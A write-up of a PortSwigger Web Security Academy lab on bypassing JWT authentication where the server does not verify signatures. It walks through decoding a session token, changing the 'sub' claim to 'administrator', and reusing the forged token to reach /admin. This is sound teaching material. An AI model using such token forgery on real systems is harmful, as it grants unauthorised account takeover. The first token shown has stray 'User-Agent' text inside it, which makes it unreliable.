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# JWT Authentication Bypass via Unverified Signature
JWT Authentication Bypass via Unverified Signature notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### JWT Authentication Bypass via Unverified Signature
**Lab Background**
This lab uses **JSON Web Tokens (JWT)** to manage user sessions. / Due to a critical implementation failure, **the server does not check the signature of the received JWT**.
**Objective:**
* Edit session token to access `/admin` administration panel
* Delete user **carlos**
**Provided credentials:**
* `wiener : peter`
**Step 1 – Authentication and recovery of JWT**
After connecting to the `wiener` user, a \*\* JWT\*\* session cookie is generated by the application.
The token has the classic structure:
* **Header**
* **Payload**
* **Signature**
{% code overflow="wrap" %}
```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```
{% endcode %}
**Step 2 – Analysis of JWT content**
By decoding the JWT, we see the following payload:
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "wiener"
}
```
The `sub` field represents the identity of the authenticated user.
**Step 3 – Change Payload**
Since the server **does not validate the signature**, it is possible to freely modify the contents of the token.
The value of `sub` is replaced:
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "administrator"
}
```
The JWT is then **rebuilt** (regardless of the signature, it will not be verified).
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```
{% endcode %}
**Step 4 – Use of falsified JWT**
The new token is injected into the browser session cookie.
Outcome:
* The application considers the user as **administrator**
* Access to `/admin` is allowed
---
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